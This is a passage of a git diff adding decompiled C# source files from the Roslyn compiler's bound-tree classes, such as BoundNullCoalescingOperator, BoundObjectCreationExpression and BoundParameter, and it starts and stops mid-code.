VisitBinaryOperatorInterpolatedString(this BoundBinaryOperator binary, TArg arg, Func stringCallback, Action? binaryOperatorCallback = null) where TInterpolatedStringType : BoundInterpolatedStringBase + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + pushLeftNodes(binary, instance, arg, binaryOperatorCallback); + BoundBinaryOperator boundBinaryOperator = default(BoundBinaryOperator); + while (ArrayBuilderExtensions.TryPop(instance, ref boundBinaryOperator)) + { + BoundExpression left = boundBinaryOperator.Left; + if (!(left is BoundBinaryOperator)) + { + if (!(left is TInterpolatedStringType arg2)) + { + throw ExceptionUtilities.UnexpectedValue((object)boundBinaryOperator.Left.Kind); + } + if (!stringCallback(arg2, arg)) + { + return false; + } + } + left = boundBinaryOperator.Right; + if (!(left is BoundBinaryOperator binary2)) + { + if (!(left is TInterpolatedStringType arg3)) + { + throw ExceptionUtilities.UnexpectedValue((object)boundBinaryOperator.Right.Kind); + } + if (!stringCallback(arg3, arg)) + { + return false; + } + } + else + { + pushLeftNodes(binary2, instance, arg, binaryOperatorCallback); + } + } + instance.Free(); + return true; + static void pushLeftNodes(BoundBinaryOperator boundBinaryOperator3, ArrayBuilder stack, TArg arg4, Action? action) + { + for (BoundBinaryOperator boundBinaryOperator2 = boundBinaryOperator3; boundBinaryOperator2 != null; boundBinaryOperator2 = boundBinaryOperator2.Left as BoundBinaryOperator) + { + action?.Invoke(boundBinaryOperator2, arg4); + ArrayBuilderExtensions.Push(stack, boundBinaryOperator2); + } + } + } + + public static TResult RewriteInterpolatedStringAddition(this BoundBinaryOperator binary, TArg arg, Func interpolatedStringFactory, Func binaryOperatorFactory) where TInterpolatedStringType : BoundInterpolatedStringBase + { + int i = 0; + return doRewrite(binary, arg, interpolatedStringFactory, binaryOperatorFactory, ref i); + static TResult doRewrite(BoundBinaryOperator binary2, TArg val3, Func func, Func func2, ref int reference) + { + TResult val = default(TResult); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + pushLeftNodes(binary2, instance); + BoundBinaryOperator boundBinaryOperator = default(BoundBinaryOperator); + while (ArrayBuilderExtensions.TryPop(instance, ref boundBinaryOperator)) + { + BoundExpression left = boundBinaryOperator.Left; + TResult val2; + if (!(left is TInterpolatedStringType arg2)) + { + if (!(left is BoundBinaryOperator)) + { + throw ExceptionUtilities.UnexpectedValue((object)boundBinaryOperator.Left.Kind); + } + val2 = val; + } + else + { + val2 = func(arg2, reference++, val3); + } + TResult arg3 = val2; + left = boundBinaryOperator.Right; + if (!(left is TInterpolatedStringType arg4)) + { + if (!(left is BoundBinaryOperator binary3)) + { + throw ExceptionUtilities.UnexpectedValue((object)boundBinaryOperator.Right.Kind); + } + val2 = doRewrite(binary3, val3, func, func2, ref reference); + } + else + { + val2 = func(arg4, reference++, val3); + } + TResult arg5 = val2; + val = func2(boundBinaryOperator, arg3, arg5, val3); + } + instance.Free(); + return val; + } + static void pushLeftNodes(BoundBinaryOperator boundBinaryOperator2, ArrayBuilder stack) + { + for (BoundBinaryOperator boundBinaryOperator = boundBinaryOperator2; boundBinaryOperator != null; boundBinaryOperator = boundBinaryOperator.Left as BoundBinaryOperator) + { + ArrayBuilderExtensions.Push(stack, boundBinaryOperator); + } + } + } + + public static InterpolatedStringHandlerData GetInterpolatedStringHandlerData(this BoundExpression e, bool throwOnMissing = true) + { + if (e is BoundBinaryOperator { InterpolatedStringHandlerData: var interpolatedStringHandlerData }) + { + if (interpolatedStringHandlerData.HasValue) + { + return interpolatedStringHandlerData.GetValueOrDefault(); + } + } + else + { + if (!(e is BoundInterpolatedString { InterpolationData: var interpolationData })) + { + throw ExceptionUtilities.UnexpectedValue((object)e.Kind); + } + if (interpolationData.HasValue) + { + return interpolationData.GetValueOrDefault(); + } + } + if (!throwOnMissing) + { + return default(InterpolatedStringHandlerData); + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/BoundTree/BoundNodeExtensions.cs", 255); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNonConstructorMethodBody.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNonConstructorMethodBody.cs new file mode 100644 index 0000000..cfad967 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNonConstructorMethodBody.cs @@ -0,0 +1,28 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundNonConstructorMethodBody : BoundMethodBodyBase +{ + public BoundNonConstructorMethodBody(SyntaxNode syntax, BoundBlock? blockBody, BoundBlock? expressionBody, bool hasErrors = false) + : base(BoundKind.NonConstructorMethodBody, syntax, blockBody, expressionBody, hasErrors || blockBody.HasErrors() || expressionBody.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitNonConstructorMethodBody(this); + } + + public BoundNonConstructorMethodBody Update(BoundBlock? blockBody, BoundBlock? expressionBody) + { + if (blockBody != base.BlockBody || expressionBody != base.ExpressionBody) + { + BoundNonConstructorMethodBody boundNonConstructorMethodBody = new BoundNonConstructorMethodBody(Syntax, blockBody, expressionBody, base.HasErrors); + boundNonConstructorMethodBody.CopyAttributes(this); + return boundNonConstructorMethodBody; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNullCoalescingAssignmentOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNullCoalescingAssignmentOperator.cs new file mode 100644 index 0000000..3e87f88 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNullCoalescingAssignmentOperator.cs @@ -0,0 +1,48 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundNullCoalescingAssignmentOperator : BoundExpression +{ + internal bool IsNullableValueTypeAssignment + { + get + { + TypeSymbol type = LeftOperand.Type; + if ((object)type == null || !type.IsNullableType()) + { + return false; + } + return type.GetNullableUnderlyingType().Equals(RightOperand.Type); + } + } + + public BoundExpression LeftOperand { get; } + + public BoundExpression RightOperand { get; } + + public BoundNullCoalescingAssignmentOperator(SyntaxNode syntax, BoundExpression leftOperand, BoundExpression rightOperand, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.NullCoalescingAssignmentOperator, syntax, type, hasErrors || leftOperand.HasErrors() || rightOperand.HasErrors()) + { + LeftOperand = leftOperand; + RightOperand = rightOperand; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitNullCoalescingAssignmentOperator(this); + } + + public BoundNullCoalescingAssignmentOperator Update(BoundExpression leftOperand, BoundExpression rightOperand, TypeSymbol? type) + { + if (leftOperand != LeftOperand || rightOperand != RightOperand || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundNullCoalescingAssignmentOperator boundNullCoalescingAssignmentOperator = new BoundNullCoalescingAssignmentOperator(Syntax, leftOperand, rightOperand, type, base.HasErrors); + boundNullCoalescingAssignmentOperator.CopyAttributes(this); + return boundNullCoalescingAssignmentOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNullCoalescingOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNullCoalescingOperator.cs new file mode 100644 index 0000000..7414456 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNullCoalescingOperator.cs @@ -0,0 +1,49 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundNullCoalescingOperator : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression LeftOperand { get; } + + public BoundExpression RightOperand { get; } + + public BoundValuePlaceholder? LeftPlaceholder { get; } + + public BoundExpression? LeftConversion { get; } + + public BoundNullCoalescingOperatorResultKind OperatorResultKind { get; } + + public bool Checked { get; } + + public BoundNullCoalescingOperator(SyntaxNode syntax, BoundExpression leftOperand, BoundExpression rightOperand, BoundValuePlaceholder? leftPlaceholder, BoundExpression? leftConversion, BoundNullCoalescingOperatorResultKind operatorResultKind, bool @checked, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.NullCoalescingOperator, syntax, type, hasErrors || leftOperand.HasErrors() || rightOperand.HasErrors() || leftPlaceholder.HasErrors() || leftConversion.HasErrors()) + { + LeftOperand = leftOperand; + RightOperand = rightOperand; + LeftPlaceholder = leftPlaceholder; + LeftConversion = leftConversion; + OperatorResultKind = operatorResultKind; + Checked = @checked; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitNullCoalescingOperator(this); + } + + public BoundNullCoalescingOperator Update(BoundExpression leftOperand, BoundExpression rightOperand, BoundValuePlaceholder? leftPlaceholder, BoundExpression? leftConversion, BoundNullCoalescingOperatorResultKind operatorResultKind, bool @checked, TypeSymbol type) + { + if (leftOperand != LeftOperand || rightOperand != RightOperand || leftPlaceholder != LeftPlaceholder || leftConversion != LeftConversion || operatorResultKind != OperatorResultKind || @checked != Checked || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundNullCoalescingOperator boundNullCoalescingOperator = new BoundNullCoalescingOperator(Syntax, leftOperand, rightOperand, leftPlaceholder, leftConversion, operatorResultKind, @checked, type, base.HasErrors); + boundNullCoalescingOperator.CopyAttributes(this); + return boundNullCoalescingOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNullCoalescingOperatorResultKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNullCoalescingOperatorResultKind.cs new file mode 100644 index 0000000..039ff28 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundNullCoalescingOperatorResultKind.cs @@ -0,0 +1,11 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum BoundNullCoalescingOperatorResultKind +{ + NoCommonType, + LeftType, + LeftUnwrappedType, + RightType, + LeftUnwrappedRightType, + RightDynamicType +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectCreationExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectCreationExpression.cs new file mode 100644 index 0000000..c26c9e5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectCreationExpression.cs @@ -0,0 +1,125 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Operations; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundObjectCreationExpression : BoundObjectCreationExpressionBase, IBoundInvalidNode +{ + public override Symbol ExpressionSymbol => Constructor; + + ImmutableArray IBoundInvalidNode.InvalidNodeChildren => CSharpOperationFactory.CreateInvalidChildrenFromArgumentsExpression(null, Arguments, InitializerExpressionOpt); + + public override MethodSymbol Constructor { get; } + + public ImmutableArray ConstructorsGroup { get; } + + public override ImmutableArray Arguments { get; } + + public override ImmutableArray ArgumentNamesOpt { get; } + + public override ImmutableArray ArgumentRefKindsOpt { get; } + + public override bool Expanded { get; } + + public override ImmutableArray ArgsToParamsOpt { get; } + + public override BitVector DefaultArguments { get; } + + public override ConstantValue? ConstantValueOpt { get; } + + public override BoundObjectInitializerExpressionBase? InitializerExpressionOpt { get; } + + public override bool WasTargetTyped { get; } + + internal BoundObjectCreationExpression UpdateArgumentsAndInitializer(ImmutableArray newArguments, ImmutableArray newRefKinds, BoundObjectInitializerExpressionBase? newInitializerExpression, TypeSymbol? changeTypeOpt = null) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + return Update(Constructor, newArguments, default(ImmutableArray), newRefKinds, expanded: false, default(ImmutableArray), default(BitVector), ConstantValueOpt, newInitializerExpression, changeTypeOpt ?? base.Type); + } + + public BoundObjectCreationExpression(SyntaxNode syntax, MethodSymbol constructor, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, ConstantValue? constantValueOpt, BoundObjectInitializerExpressionBase? initializerExpressionOpt, TypeSymbol type, bool hasErrors = false) + : this(syntax, constructor, ImmutableArray.Empty, arguments, argumentNamesOpt, argumentRefKindsOpt, expanded, argsToParamsOpt, defaultArguments, constantValueOpt, initializerExpressionOpt, wasTargetTyped: false, type, hasErrors) + { + }//IL_0011: Unknown result type (might be due to invalid IL or missing references) + + + public BoundObjectCreationExpression Update(MethodSymbol constructor, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, ConstantValue? constantValueOpt, BoundObjectInitializerExpressionBase? initializerExpressionOpt, TypeSymbol type) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(constructor, ImmutableArray.Empty, arguments, argumentNamesOpt, argumentRefKindsOpt, expanded, argsToParamsOpt, defaultArguments, constantValueOpt, initializerExpressionOpt, WasTargetTyped, type); + } + + public BoundObjectCreationExpression Update(MethodSymbol constructor, ImmutableArray constructorsGroup, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, ConstantValue? constantValueOpt, BoundObjectInitializerExpressionBase? initializerExpressionOpt, TypeSymbol type) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return Update(constructor, constructorsGroup, arguments, argumentNamesOpt, argumentRefKindsOpt, expanded, argsToParamsOpt, defaultArguments, constantValueOpt, initializerExpressionOpt, WasTargetTyped, type); + } + + public BoundObjectCreationExpression(SyntaxNode syntax, MethodSymbol constructor, params BoundExpression[] arguments) + : this(syntax, constructor, ImmutableArray.Create(arguments), default(ImmutableArray), default(ImmutableArray), expanded: false, default(ImmutableArray), default(BitVector), null, null, constructor.ContainingType) + { + }//IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + + + public BoundObjectCreationExpression(SyntaxNode syntax, MethodSymbol constructor, ImmutableArray arguments) + : this(syntax, constructor, arguments, default(ImmutableArray), default(ImmutableArray), expanded: false, default(ImmutableArray), default(BitVector), null, null, constructor.ContainingType) + { + }//IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + + + internal static ImmutableArray GetChildInitializers(BoundExpression? objectOrCollectionInitializer) + { + if (objectOrCollectionInitializer is BoundObjectInitializerExpression boundObjectInitializerExpression) + { + return boundObjectInitializerExpression.Initializers; + } + if (objectOrCollectionInitializer is BoundCollectionInitializerExpression boundCollectionInitializerExpression) + { + return boundCollectionInitializerExpression.Initializers; + } + return ImmutableArray.Empty; + } + + public BoundObjectCreationExpression(SyntaxNode syntax, MethodSymbol constructor, ImmutableArray constructorsGroup, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, ConstantValue? constantValueOpt, BoundObjectInitializerExpressionBase? initializerExpressionOpt, bool wasTargetTyped, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.ObjectCreationExpression, syntax, type, hasErrors || arguments.HasErrors() || initializerExpressionOpt.HasErrors()) + { + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + Constructor = constructor; + ConstructorsGroup = constructorsGroup; + Arguments = arguments; + ArgumentNamesOpt = argumentNamesOpt; + ArgumentRefKindsOpt = argumentRefKindsOpt; + Expanded = expanded; + ArgsToParamsOpt = argsToParamsOpt; + DefaultArguments = defaultArguments; + ConstantValueOpt = constantValueOpt; + InitializerExpressionOpt = initializerExpressionOpt; + WasTargetTyped = wasTargetTyped; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitObjectCreationExpression(this); + } + + public BoundObjectCreationExpression Update(MethodSymbol constructor, ImmutableArray constructorsGroup, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, ConstantValue? constantValueOpt, BoundObjectInitializerExpressionBase? initializerExpressionOpt, bool wasTargetTyped, TypeSymbol type) + { + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + if (!SymbolEqualityComparer.ConsiderEverything.Equals(constructor, Constructor) || constructorsGroup != ConstructorsGroup || arguments != Arguments || argumentNamesOpt != ArgumentNamesOpt || argumentRefKindsOpt != ArgumentRefKindsOpt || expanded != Expanded || argsToParamsOpt != ArgsToParamsOpt || defaultArguments != DefaultArguments || constantValueOpt != ConstantValueOpt || initializerExpressionOpt != InitializerExpressionOpt || wasTargetTyped != WasTargetTyped || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundObjectCreationExpression boundObjectCreationExpression = new BoundObjectCreationExpression(Syntax, constructor, constructorsGroup, arguments, argumentNamesOpt, argumentRefKindsOpt, expanded, argsToParamsOpt, defaultArguments, constantValueOpt, initializerExpressionOpt, wasTargetTyped, type, base.HasErrors); + boundObjectCreationExpression.CopyAttributes(this); + return boundObjectCreationExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectCreationExpressionBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectCreationExpressionBase.cs new file mode 100644 index 0000000..7b0f4bf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectCreationExpressionBase.cs @@ -0,0 +1,37 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundObjectCreationExpressionBase : BoundExpression +{ + public abstract MethodSymbol? Constructor { get; } + + public abstract ImmutableArray Arguments { get; } + + public abstract ImmutableArray ArgumentNamesOpt { get; } + + public abstract ImmutableArray ArgumentRefKindsOpt { get; } + + public abstract bool Expanded { get; } + + public abstract ImmutableArray ArgsToParamsOpt { get; } + + public abstract BitVector DefaultArguments { get; } + + public abstract BoundObjectInitializerExpressionBase? InitializerExpressionOpt { get; } + + public abstract bool WasTargetTyped { get; } + + public new TypeSymbol Type => base.Type; + + protected BoundObjectCreationExpressionBase(BoundKind kind, SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(kind, syntax, type, hasErrors) + { + } + + protected BoundObjectCreationExpressionBase(BoundKind kind, SyntaxNode syntax, TypeSymbol type) + : base(kind, syntax, type) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectInitializerExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectInitializerExpression.cs new file mode 100644 index 0000000..14d4ccf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectInitializerExpression.cs @@ -0,0 +1,30 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundObjectInitializerExpression : BoundObjectInitializerExpressionBase +{ + public BoundObjectInitializerExpression(SyntaxNode syntax, BoundObjectOrCollectionValuePlaceholder placeholder, ImmutableArray initializers, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.ObjectInitializerExpression, syntax, placeholder, initializers, type, hasErrors || placeholder.HasErrors() || initializers.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitObjectInitializerExpression(this); + } + + public BoundObjectInitializerExpression Update(BoundObjectOrCollectionValuePlaceholder placeholder, ImmutableArray initializers, TypeSymbol type) + { + if (placeholder != base.Placeholder || initializers != base.Initializers || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundObjectInitializerExpression boundObjectInitializerExpression = new BoundObjectInitializerExpression(Syntax, placeholder, initializers, type, base.HasErrors); + boundObjectInitializerExpression.CopyAttributes(this); + return boundObjectInitializerExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectInitializerExpressionBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectInitializerExpressionBase.cs new file mode 100644 index 0000000..2a4d022 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectInitializerExpressionBase.cs @@ -0,0 +1,20 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundObjectInitializerExpressionBase : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundObjectOrCollectionValuePlaceholder Placeholder { get; } + + public ImmutableArray Initializers { get; } + + protected BoundObjectInitializerExpressionBase(BoundKind kind, SyntaxNode syntax, BoundObjectOrCollectionValuePlaceholder placeholder, ImmutableArray initializers, TypeSymbol type, bool hasErrors = false) + : base(kind, syntax, type, hasErrors) + { + Placeholder = placeholder; + Initializers = initializers; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectInitializerMember.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectInitializerMember.cs new file mode 100644 index 0000000..87a5b65 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectInitializerMember.cs @@ -0,0 +1,68 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundObjectInitializerMember : BoundExpression, IBoundInvalidNode +{ + public override Symbol? ExpressionSymbol => MemberSymbol; + + ImmutableArray IBoundInvalidNode.InvalidNodeChildren => StaticCast.From(Arguments); + + public new TypeSymbol Type => base.Type; + + public Symbol? MemberSymbol { get; } + + public ImmutableArray Arguments { get; } + + public ImmutableArray ArgumentNamesOpt { get; } + + public ImmutableArray ArgumentRefKindsOpt { get; } + + public bool Expanded { get; } + + public ImmutableArray ArgsToParamsOpt { get; } + + public BitVector DefaultArguments { get; } + + public override LookupResultKind ResultKind { get; } + + public TypeSymbol ReceiverType { get; } + + public BoundObjectInitializerMember(SyntaxNode syntax, Symbol? memberSymbol, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, LookupResultKind resultKind, TypeSymbol receiverType, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.ObjectInitializerMember, syntax, type, hasErrors || arguments.HasErrors()) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + MemberSymbol = memberSymbol; + Arguments = arguments; + ArgumentNamesOpt = argumentNamesOpt; + ArgumentRefKindsOpt = argumentRefKindsOpt; + Expanded = expanded; + ArgsToParamsOpt = argsToParamsOpt; + DefaultArguments = defaultArguments; + ResultKind = resultKind; + ReceiverType = receiverType; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitObjectInitializerMember(this); + } + + public BoundObjectInitializerMember Update(Symbol? memberSymbol, ImmutableArray arguments, ImmutableArray argumentNamesOpt, ImmutableArray argumentRefKindsOpt, bool expanded, ImmutableArray argsToParamsOpt, BitVector defaultArguments, LookupResultKind resultKind, TypeSymbol receiverType, TypeSymbol type) + { + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + if (!SymbolEqualityComparer.ConsiderEverything.Equals(memberSymbol, MemberSymbol) || arguments != Arguments || argumentNamesOpt != ArgumentNamesOpt || argumentRefKindsOpt != ArgumentRefKindsOpt || expanded != Expanded || argsToParamsOpt != ArgsToParamsOpt || defaultArguments != DefaultArguments || resultKind != ResultKind || !TypeSymbol.Equals(receiverType, ReceiverType, (TypeCompareKind)0) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundObjectInitializerMember boundObjectInitializerMember = new BoundObjectInitializerMember(Syntax, memberSymbol, arguments, argumentNamesOpt, argumentRefKindsOpt, expanded, argsToParamsOpt, defaultArguments, resultKind, receiverType, type, base.HasErrors); + boundObjectInitializerMember.CopyAttributes(this); + return boundObjectInitializerMember; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectOrCollectionValuePlaceholder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectOrCollectionValuePlaceholder.cs new file mode 100644 index 0000000..bf912f8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectOrCollectionValuePlaceholder.cs @@ -0,0 +1,42 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundObjectOrCollectionValuePlaceholder : BoundValuePlaceholderBase +{ + public sealed override bool IsEquivalentToThisReference => false; + + public new TypeSymbol Type => base.Type; + + public bool IsNewInstance { get; } + + public BoundObjectOrCollectionValuePlaceholder(SyntaxNode syntax, bool isNewInstance, TypeSymbol type, bool hasErrors) + : base(BoundKind.ObjectOrCollectionValuePlaceholder, syntax, type, hasErrors) + { + IsNewInstance = isNewInstance; + } + + public BoundObjectOrCollectionValuePlaceholder(SyntaxNode syntax, bool isNewInstance, TypeSymbol type) + : base(BoundKind.ObjectOrCollectionValuePlaceholder, syntax, type) + { + IsNewInstance = isNewInstance; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitObjectOrCollectionValuePlaceholder(this); + } + + public BoundObjectOrCollectionValuePlaceholder Update(bool isNewInstance, TypeSymbol type) + { + if (isNewInstance != IsNewInstance || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundObjectOrCollectionValuePlaceholder boundObjectOrCollectionValuePlaceholder = new BoundObjectOrCollectionValuePlaceholder(Syntax, isNewInstance, type, base.HasErrors); + boundObjectOrCollectionValuePlaceholder.CopyAttributes(this); + return boundObjectOrCollectionValuePlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectPattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectPattern.cs new file mode 100644 index 0000000..338e3c2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundObjectPattern.cs @@ -0,0 +1,17 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundObjectPattern : BoundPattern +{ + public Symbol? Variable { get; } + + public BoundExpression? VariableAccess { get; } + + protected BoundObjectPattern(BoundKind kind, SyntaxNode syntax, Symbol? variable, BoundExpression? variableAccess, TypeSymbol inputType, TypeSymbol narrowedType, bool hasErrors = false) + : base(kind, syntax, inputType, narrowedType, hasErrors) + { + Variable = variable; + VariableAccess = variableAccess; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundParameter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundParameter.cs new file mode 100644 index 0000000..c9993bb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundParameter.cs @@ -0,0 +1,52 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundParameter : BoundExpression +{ + public override Symbol ExpressionSymbol => ParameterSymbol; + + public new TypeSymbol Type => base.Type; + + public ParameterSymbol ParameterSymbol { get; } + + public BoundParameter(SyntaxNode syntax, ParameterSymbol parameterSymbol, bool hasErrors = false) + : this(syntax, parameterSymbol, parameterSymbol.Type, hasErrors) + { + } + + public BoundParameter(SyntaxNode syntax, ParameterSymbol parameterSymbol) + : this(syntax, parameterSymbol, parameterSymbol.Type) + { + } + + public 